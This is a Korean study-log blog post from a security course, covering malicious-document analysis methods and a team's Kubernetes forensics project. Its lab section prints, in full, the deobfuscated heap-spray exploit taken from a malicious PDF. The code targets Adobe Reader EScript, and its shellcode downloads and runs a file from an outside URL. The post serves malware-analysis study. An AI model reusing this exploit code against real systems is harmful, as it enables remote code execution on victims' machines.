회고
이제 프로젝트 시작이 12주차 기준으로 약 2주 정도 남아서 슬슬 쪼들리기 시작했다. 분명 미리 준비한다고 했는데 내가 생각치 못한 부분에서 변수가 많이 생겨서 고민이 많았던 한 주였던거 같다. 프로젝트 주제 결정하는데 난항을 겪기도 했고 착수 보고 자료도 만들어야 하고 수업도 들어야 해서 할 일이 굉장히 많았던거 같다.
시간적으로도 심적으로도 많이 쪼들렸어서 하루 하루가 조금 힘들었던거 같다. 그래도 주제 선정도 잘했고 자료도 잘 만들어서 제출하니 나름의 성취를 잘 느낄 수 있었다.
그리고 개인적인 얘기긴 한데 주말에 하던 알바를 그만둬서 정말 오랜만에 여유로운 주말을 보내고 있다! 여유롭게 할거도 하고 휴식도 취하니 컨디션이 금새 좋아져서 할 일에 집중이 더 잘 되는듯한 느낌이다.
생계 유지를 위해 어쩔 수 없이 알바를 해야 하지만.. 최대한 버티다가 다시 일을 구해야겠다..ㅋ
학습 내용 요약
이번주는 지난주하고 마찬가지로 침해사고 분석/대응에 대해 배웠다. 지난주에는 포렌식 위주로 했다면 이번주에는 File Format을 위주로 악성 Binary, 문서 등에 대한 분석을 진행했다.
그리고 강사님께서 9시 ~ 18시까지 풀로 수업을 진행하지 않으시고, 1시간 ~ 2시간 정도 프로젝트 준비할 시간을 주셨다. 방향성에 대해 지속적으로 피드백을 주시고 회의할 시간도 확보 해주셔서 그나마 수월하게 프로젝트 사전 준비를 하고 있는거 같다.
따라서 이번주는 악성 문서 분석에 대한 내용과 프로젝트 진행 상황에 대해 정리 해보겠다.
이번주 TIL 주제는 다음 두 가지이다.
- 악성 문서 분석
- 프로젝트 진행 상황
악성 문서 분석
이메일이나 게시판 첨부파일을 통한 악성 문서 유포는 아마 대부분 사람들이 뉴스를 통해 접해봤을거다. 보안 담당자 입장에서 이런 파일을 마주 했을 때 가장 먼저 해야할 일은 이 파일이 무엇을 의도하는지, 어떤 동작을 하는지 밝혀내는 것인데 이를 악성 문서 분석이라고 한다.
분석 대상이 코드냐 문서냐에 따라서 다르지만 불순한(?) 의도를 가지고 있는 대상을 분석할 때는 정적 분석(Static Analysis)과 동적 분석(Dynamic Analysis) 두 가지 분석 기법을 따른다.
두 분석 방법의 가장 큰 차이는 파일을 실행하는가 하지 않는가이고, 실행하지 않고 분석하는게 정적 분석, 실행하면서 분석하는게 동적 분석이다. 먼저 이 두 가지 방법에 대해 알아보도록 하자.
정적 분석 (Static Analysis)
정적 분석은 악성 문서를 실제로 실행하지 않고, 파일 자체의 내부 구조나 포함된 스크립트를 분석하는 기법이다. 이런 분석 기법은 우리가 병원에 가서 X-Ray 찍어서 어떤 문제가 있는지 내부 구조를 살펴보는 것과 같다.
문서형 악성코드(Word, Excel, PDF, HWP 등)는 그 자체로 악성 행위를 하기보다 내부에 숨겨진 Macro나 Script를 실행시켜 외부에서 악성 코드를 다운로드하거나 실행하는 Trigger 역할을 주로 한다. 따라서 정적 분석의 핵심은 숨겨진 코드를 찾아내고 읽어내는 것이다.
-
File Signature 확인
확장자는 얼마든지 바꿀 수 있다. .doc 확장자를 달고 있어도 실제로는 실행 파일(.exe)일 수 있다. 따라서 파일 헤더(Magic Number)를 확인하여 이 파일의 Format이 무엇인지 식별하는 것이 우선 되어야 한다. -
내부 구조 및 OLE 객체 확인
악성 문서는 OLE(Object Linking and Embedding) 구조를 띠고 있거나 XML(최신 Office 파일) 구조로 되어 있다. 이 복잡한 파일 구조 속에 악성 스크립트가 숨겨져 있는 공간(Stream)이나 외부 객체가 삽입되어 있는지 파악해야 한다. -
Macro 및 Script 추출
JavaScript(PDF)를 이용해 악성 행위를 수행한다. 분석 도구(olevba, pdf-parser 등)를 사용하여 문서 내에 포함된 스크립트 코드를 추출해야 한다.
또한 자동 실행 함수가 있는지 확인 해야하는데, 이는 사용자가 문서를 열자마자 악성 코드가 실행되도록 한다.(AutoOpen, Document_Open, Workbook_Open 등) -
Strings 및 난독화 코드 분석
추출한 스크립트는 대부분 분석을 방해하기 위해 난독화 되어 있다. 변수명을 알아볼 수 없게 꼬아놓거나, 문자열을 쪼개 놓은 경우가 많다.
여기서 주목해야 할 것은 다음과 같다.
- 실행 관련 함수
Shell, CreateProcess, PowerShell, cmd.exe 등 외부 프로그램을 실행하려는 흔적.
- 네트워크 연결 정보
외부에서 추가 악성 파일을 받아오기 위한 C2 서버의 URL이나 IP 주소.
정적분석으로 모든걸 할 수 있을까? 당연히 아니다. 예를 들어 어떤 서비스를 개발하고 배포하기 전 빌드 과정에서 Sonar Qube와 같은 정적 분석 도구를 사용하여 작성한 코드가 가지고 있는 위험 요소들을 검사하게 된다.
하지만 실제 배포가 되고 서비스가 동작할 때 서비스를 이루는 Component들이 런타임에서 동작에 따라 상태가 변하기 때문에 정적 분석만으로는 충분치 않다.
최근 악성 문서들은 VBA Macro에 암호를 걸어 내용을 볼 수 없게 하거나, 문서 내용을 아주 복잡하게 난독화하여 정적 분석 도구의 탐지를 우회하기도 한다.
또한 실행 시점에서 동적으로 코드를 생성하는 경우 정적 분석만으로는 한계가 명확하다. 따라서 동적 분석 (Dynamic Analysis)가 필요하다.
VBA(Visual Basic for Applications)
MS Office 프로그램(엑셀, 워드, 파워포인트 등) 내에서 반복적인 작업을 자동화하거나 매크로를 생성하는 데 사용되는 프로그래밍 언어이다.
동적 분석 (Dynamic Analysis)
문서형 악성코드는 사용자가 실행시키는 순간 동작하기 때문에 시점 전후의 변화를 관찰하는 것이 핵심이다. 악성 문서를 직접 실행 시키고 그 행동을 모니터링하는 기법이다. 따라서 파일 실행에 따른 파일 생성, 레지스트리 조작, 네트워크 연결이 일어나는지 기록하는 것이 중요하다.
주의사항
동적 분석을 수행할 때는 반드시 VM이나 Sandbox와 같은 격리된 환경에서 진행 해야한다. 그렇지 않으면 분석 하려다가 내 컴퓨터가 털리는 일이 발생할 수 있다.
동적 분석으로 얻을 수 있는 정보는 뭐가 있을까?
- 직관적인 행위 파악
복잡한 난독화 코드를 일일이 해석하지 않아도, 결과적으로 무엇을 했는지 알 수 있다. 난독화된 코드가 Shell을 실행해 특정 IP로 접속했다면, 동적 분석 도구(Process Monitor 등)에는 그 행위가 명확하게 찍힌다. - 난독화 무력화와 메모리 덤프
악성 문서는 실행되는 순간, 숨겨왔던 쉘코드(Shellcode)나 페이로드(Payload)를 메모리에 풀어서 실행한다. 즉, 실행 중인 상태에서는 모든 암호화와 난독화가 해제되어 있다. 따라서 이 상태에서 메모리 덤프를 뜨면 최종 악성 실행 파일이나 통신 데이터 원본을 확보 할 수 있다.
예를 들어 프로세스 계층 구조를 뜯어 봤을 때 WINWORD.exe 아래 자식 프로세스로 cmd.exe 같은 쉘이 실행되고 있으면 악성 문서로 분류가 가능하다.
그렇다면 동적 분석엔 어려움이 없을까?
-
C2 서버 연결
악성 문서는 그 자체로 공격을 완성하기보다, 외부에서 악성 파일을 다운로드하는 Downloader 역할을 한다. C2가 이미 차단되었거나 죽었다면 악성 문서는 다운로드를 시도하다가 실패할거고 더 이상의 분석이 어렵다. -
디버깅 Symbol 확보
단순히 행위만 보는게 아니라 프로그램에 디버거를 붙여서 Macro 실행 과정을 뜯어보려 할 때가 있다. 하지만 Symbol이 없다면 메모리 주소만 나열되기 때문에 분석이 매우 어려워질 수 있다.
이론적인 부분을 학습했으니 이제 실습으로 넘어 가보자.
실습
강사님께서 제공해주신 악성 PDF 샘플을 분석해 보았다. PDF 파일은 여러 Object들로 구성되어 있는데, 악성 데이터는 주로 Stream Object 내부에 난독화 또는 압축된 상태로 숨겨져 있다. 공격자는 PDF 리더 프로그램이 가진 취약점(ex. Buffer Overflow 또는 Use-After-Free)을 악용하여, 프로그램이 난독화된 데이터를 처리하는 과정에서 메모리 흐름을 조작한다. 이를 통해 최종적으로 RCE(Remote Code Execution)을 유발하여 악성 행위를 수행한다.
먼저 파일 정보를 확인 해봤다. file의 Hash 값, Size, Object 등 여러 파일 정보를 확인할 수 있다. 눈에 띄는건 8번 Object와 111611 Object에 Stream이라는 것이다. 악성 코드가 해당 위치에 들어 있을 확률이 높다.
위와 같이 오브젝트에 대한 정보를 하나씩 다 확인 해본 결과 1 -> 3 -> 5 -> 6 -> 111611 순서대로 참조하여 동작하는 것을 확인할 수 있었다.
111611 Object를 보면 난독화가 되어 있다. 잘 보면 /**/를 확인할 수 있는데 이는 주석 처리하는 부분이다. 공격자는 주석처리를 이용해서 안에 쓰레기 값을 넣어서 난독화를 한 것으로 보인다. 허접?하다.
쓰레기 값을 다 제거하면 위와 같이 JavaScript 코드를 확인할 수 있다. eval 함수는 문자열로 된 표현식을 받아서 코드처럼 실행해서 결과를 반환하는 함수로 XSS와 같은 공격 수단으로 사용되어 지금은 사용이 금지된 함수이다. 동작을 보니 z를 %로 변환하는 작업을 하는 것으로 확인했다.
z로 바꿔서 보니 유니코드가 잔뜩 보이고 반복문도 보인다. 예상 했던대로 Stream Object에 악성 코드를 넣어 어떤 행위를 하는 것이다.
function a() {util.printd('p@1111111111111111111 : yyyy111', new Date());}
var h = app.plugIns;
for (var f=0; f < h.length; f++) {
if (h[f].name=='EScript') {var i=h[f].version;}
}
if ((i>8.12) && (i<8.2)) {
c=new Array();
var d = unescape('%u9090%u9090');
var e = unescape('%u5350%u5251%u5756%u9c55%u00e8%u0000%u5d00%ued83%u310d%u64c0%u4003%u7830%u8b0c%u0c40%u708b%uad1c%u408b%ueb08%u8b09%u3440%u408d%u8b7c%u3c40%u5756%u5ebe%u0001%u0100%ubfee%u014e%u0000%uef01%ud6e8%u0001%u5f00%u895e%u81ea%u5ec2%u0001%u5200%u8068%u0000%uff00%u4e95%u0001%u8900%u81ea%u5ec2%u0001%u3100%u01f6%u8ac2%u359c%u0263%u0000%ufb80%u7400%u8806%u321c%ueb46%uc6ee%u3204%u8900%u81ea%u45c2%u0002%u5200%u95ff%u0152%u0000%uea89%uc281%u0250%u0000%u5052%u95ff%u0156%u0000%u006a%u006a%uea89%uc281%u015e%u0000%u8952%u81ea%u78c2%u0002%u5200%u006a%ud0ff%u056a%uea89%uc281%u015e%u0000%uff52%u5a95%u0001%u8900%u81ea%u5ec2%u0001%u5200%u8068%u0000%uff00%u4e95%u0001%u8900%u81ea%u5ec2%u0001%u3100%u01f6%u8ac2%u359c%u026e%u0000%ufb80%u7400%u8806%u321c%ueb46%uc6ee%u3204%u8900%u81ea%u45c2%u0002%u5200%u95ff%u0152%u0000%uea89%uc281%u0250%u0000%u5052%u95ff%u0156%u0000%u006a%u006a%uea89%uc281%u015e%u0000%u8952%u81ea%u6c2%u0002%u5200%u006a%ud0ff%u056a%uea89%uc281%u015e%u0000%uff52%u5a95%u0001%u9d00%u5f5d%u5a5e%u5b59%uc358%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u6547%u5474%u6d65%u5070%u7461%u4168%u4c00%u616f%u4c64%u6269%u6172%u7972%u0041%u6547%u5074%u6f72%u4163%u6464%u6572%u7373%u5700%u6e69%u7845%u6365%ubb00%uf289%uf789%uc030%u75ae%u29fd%u89f7%u31f9%ubec0%u003c%u0000%ub503%u021b%u0000%uad66%u8503%u021b%u0000%u708b%u8378%u1cc6%ub503%u021b%u0000%ubd8d%u021f%u0000%u03ad%u1b85%u0002%uab00%u03ad%u1b85%u0002%u5000%uadab%u8503%u021b%u0000%u5eab%udb31%u56ad%u8503%u021b%u0000%uc689%ud789%ufc51%ua6f3%u7459%u5e04%ueb43%u5ee9%ud193%u03e0%u2785%u0002%u3100%u96f6%uad66%ue0c1%u0302%u1f85%u0002%u8900%uadc6%u8503%u021b%u0000%uebc3%u0010%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u8900%u1b85%u0002%u5600%ue857%uff58%uffff%u5e5f%u01ab%u80ce%ubb3e%u0274%uedeb%u55c3%u4c52%u4f4d%u2e4e%u4c44%u004c%u5255%u444c%u776f%u6c6e%u616f%u5464%u466f%u6c69%u4165%u7000%u6664%u7075%u2e64%u7865%u0065%u7263%u7361%u2e68%u6870%u0070%u7468%u7074%u2f3a%u312f%u3131%u672e%u736f%u6664%u6473%u616a%u2e73%u6f63%u2f6d%u2e6c%u6870%u3f70%u3d69%u3631%u9000');
while (d.length <= 0x8000) { d+=d; }
d=d.substr(0,0x8000 - e.length);
for (f=0;f<2900;f++) {c[f]=d + e;}
a(); a(); try {this.media.newPlayer(null); } catch(e) {}a();
}Adobe Reader의 취약점(CVE-2009-0927 등)을 이용한 힙 스프레이(Heap Spray) 공격 코드로 보인다.
unescape 내 hex 값이 들어 있고, 보통 공격자는 여기에 공격 코드를 삽입한다. 프로그램을 실행 시켜보면 위와 같이 해당 코드 정보에 대해 확인이 가능하다. 이름이 php로 되어 있지만 확장자만 php이고 실행 파일과 같은 형태임을 예상할 수 있다.
찾아보니 이 스크립트는 Adobe Reader의 플러그인(EScript 버전 8.12~8.2) 취약점을 이용하여, 사용자 몰래 http://111.gosdfsjas.com/l.php?i=16 주소에서 악성 파일을 다운로드하고 실행하도록 설계된 공격 코드임을 알 수 있었다.
프로젝트
일단 현재 우리 팀의 프로젝트 주제는 확정이 됐고, 착수보고 자료도 만들어서 강사님께 검토 요청한 결과 통과되어 역할을 나누어 분주히 움직이고 있다.
여기까지 과정이 쉽지가 않았다. 먼저 수많은 아이디어 중에 주제가 4개정도로 추려지고 각자 맡아서 심층 조사를 한 뒤 다시 모여서 회의를 진행했었다.
추려진 주제는 Kubernetes, Header 기반 탐지, Prompt Injection, SaaS 3rd Party Application 총 네 가지였다.
결론부터 말하면 조사를 해보니 SaaS에 대한 주제는 제공 업체에 Misconfiguration과 OAuth 인증의 구조적 한계때문에 발생하는 취약점들이어서 네트워크 포렌식이라는 대주제와 어울리지 않아 버리는게 맞다라는 판단을 했고, 나머지 주제들은 해봄직 하다라는 생각을 가지고 있었다.
근데.. Prompt Injection과 Header 기반 탐지는 조사와 실습을 해서 가지고 와주셔서 우리가 이 주제로 프로젝트를 한다면 이렇게 하면 되겠다라는게 잡혔는데 쿠버네티스 조사가 문제였다.
나는 쿠버네티스 환경에서 어떤 위협이 있고, 현재 어떤 도구들을 사용해서 위협을 탐지하고 있고, 위협 트래픽에 대한 분석은 어떻게 하고 있는지에 대해서 조사를 해오길 바랐는데... 그냥 쿠버네티스 환경 구성은 어떻게 되는지에 대한 내용이 전부였어서 조사를 제대로 안해오신듯 한 느낌을 받았다.
그래서 정말 이것저것 물어봤는데 나도 모르게 조금 공격적으로 질문을 했던거 같아서 회의가 끝나고 사과 드렸다..ㅎ 다행히 다들 괜찮다고 해주셔서 감사했다ㅜ
후.. 정말 잘하고 싶은 마음이 커서 나도 모르게 의욕이 넘쳤던거 같다. 팀원들한테 조금 더 유하게 말할 수 있도록 더 신경 써야겠다.
이후 다시 교육장에 갔을 때 우리는 아직 주제를 결정하지 못했는데 다른 팀들은 어느정도 정해져 있는게 있어서 우리 팀 몇몇 분들이 조금 불안해 하셔서 지금 많이 헤매고 이것 저것 변수들 생각하면서 진행해야 프로젝트 딱 들어갔을 때 안헤맨다고 걱정하지 말라고 안심 시켰다. (사실 나도 불안했다ㅋㅋㅋㅋ) 뒤쳐진 느낌은 언제나 불안감을 주는거 같다.
하지만 옛 속담에도 뱁새가 황새 따라가면 다리 찢어진다는 말이 있지 않은가 우리는 우리 페이스 대로 진행하는게 맞다는 믿음을 가졌다.
이후 몇 번의 회의를 더 거쳐 "Header 기반 탐지"도 버리게 됐고 Prompt Injection은 LLM 파일 유출로 변경하여 쿠버네티스와 LLM 파일 유출 두 가지에 대해 조사를 더 해봤다.
쿠버네티스 주제는 네트워크 로그와 시스템 로그의 상관 관계를 분석하여 공격자의 행위를 추적하고 이를 포렌식 결과로 만드는 방향이다. 현재 서비스 구조가 MSA 형태를 띄고 컨테이너 환경에서 서비스가 이루어지기 때문에 트렌디한 주제라고 생각하고 로그의 상관 관계를 분석하여 포렌식 결과를 도출하는건 컨테이너 환경에서 상당히 도전적인 시도라는 생각이 든다. 그만큼 쉽지 않은 주제라는 생각도 동시에 들었다.
문제는 개발인데.. 환경 구축하는데 최대한 리소스를 줄여야 분석에 힘을 쏟을 수 있었기 때문에 이 문제를 해결하는데 고민을 정말 많이 한거 같다.
그래서 더 조사 해본 결과 클라우드 서비스를 이용하지 말고 VM을 이용해서 환경 구성을 진행하면 개발 리소스도 줄일 수 있고 악성 트래픽을 발생 시키기도 훨씬 편할거 같아 충분히 가능성 있다라는 판단이 들었고 강사님께 피드백을 요청 드렸는데 이렇게 구성하면 충분히 가능할거 같다고 말씀하셨다.
다시 한번 팀 회의를 거쳐 최종적으로 쿠버네티스와 관련된 주제로 프로젝트를 진행하기로 했다! 진짜 팀 회의만 몇 번한지 모르겠다,,
주제가 정해지니 그 이후 착수보고 자료 준비하는건 정말 빨랐다. 위 사진은 우리 프로젝트 이름이다. 착수 보고 자료 만들다 보니 2시간밖에 못 자서 너무 힘들었다..
그래도 다행인건 처음 제출한 자료에서 내용적인 수정 피드백은 없었고, 용어나 구성 같은거만 조금 수정하자고 하셔서 바로 통과가 됐다ㅎㅎ
역시 우리 페이스대로 움직이고 발생할 수 있는 경우의 수를 최대한 고려해서 움직이니 제출은 제일 늦었지만 제일 빠르게 진행할 수 있게 됐다.
주제를 간단히 얘기 해보겠다.
먼저 우리가 주목한 점은 Traffic의 흐름 변화와 컨테이너 환경의 특성 두 가지다. 기존 Traffic은 North-South 구조를 띄고 있지만 컨테이너 환경에서는 서비스 간 통신을 주로 하기 때문에 East-West Traffic이 급증했다. 즉, 트래픽의 흐름이 수직적에서 수평적으로 변했단 의미이다. 또한, 트래픽 자체가 외부에선 볼 수 없게 캡슐화 되어 있다. 이렇게 되면 수직적 흐름에 맞춰 설계된 기존 보안 장비로는 이런 흐름을 잡아낼 수 없고 그만큼 위협에 노출되게 된다.
또, 서비스를 운용하는 기본적인 요소가 Container인데, 이는 설정에 따라 언제든 생성되고 삭제되는 일시성을 띈다. 삭제가 되면 해당 컨테이너가 가지고 있는 데이터들도 함께 날아가고 IP 또한 수시로 변경되고 재할당 되기 때문에 사고 대응 측면에서 최악이다.
그래서 우리는 시스템, 네트워크 로그들을 선제적으로 수집하여 상관 분석을 통해 흩뿌려져 있는 로그들의 맥락을 부여하는 것을 목표로 한다.
Falco, Tetragon, Hubble과 같은 eBPF 기반 도구들을 이용해 커널 레벨에서 로그를 수집하고 상관 분석을 통해 로그에 맥락을 부여하고 탐지 Rule을 적립하고, EFK를 통해 수집한 로그들을 시각화 할 예정이다.
프로젝트 시작 (12/15) 전까지 Infra 구성, 모의 해킹, 분석 세 가지 팀으로 흩어져 프로젝트를 위한 준비를 할 예정이다. (현재는 진행중~)
나는 모의 해킹 파트를 맡아서 쿠버네티스 환경에서 사용할 수 있는 Pen Test 도구들을 비교 분석하고 공격 시나리오 구상중에 있다.
마무리
프로젝트 기간이 임박하고 있어 힘들긴 하지만 팀원들도 각자 맡은 파트를 성실하게 진행 해주고 있어 감사하다. 다들 힘들어 해도 나름 즐기고 있는거 같아(?) 으쌰으쌰하게 되는거 같다. 팀장인 나는 더 열심히는 당연하고 잘해야지.
선택에 순간이 올 때마다 머리를 참 많이 굴리게 되는거 같다. 선택 하나 하나가 프로젝트의 성패를 가리게 되기 때문에 어쩔때는 부담스럽기도 하지만 "유난한 도전"에서 읽은 빠르게 실패하라는 문구를 떠올리며 그냥 머리 박자~ 하는거 같다.
아 그리고 오늘! 멘토님께 피드백을 받았는데 다행히 우리가 구상한 프로젝트 방향성이 틀리지 않은거 같아 잘하고 있구나라는 생각이 들었다.
바쁘신 와중에도 시간 내주셔서 자료 검토 해주시고 피드백도 상세하게 남겨 주셔서 이 자리를 빌어 감사하다는 말씀 드리고싶다. 🙇
다음주 TIL을 쓸 때쯤이면 본격적으로 프로젝트 기간이 시작됐을 시점이라 앞으로 프로젝트 위주로 글을 작성하게 될거 같다.
이 과정이 끝나고 뒤돌아봤을 때 잘 느껴질 수 있도록 상세하게 기록 해보도록 하겠다!
이번주 TIL은 여기서 마무리 짓도록 하겠다! 다들 이번 한 주도 고생하셨습니다!!!
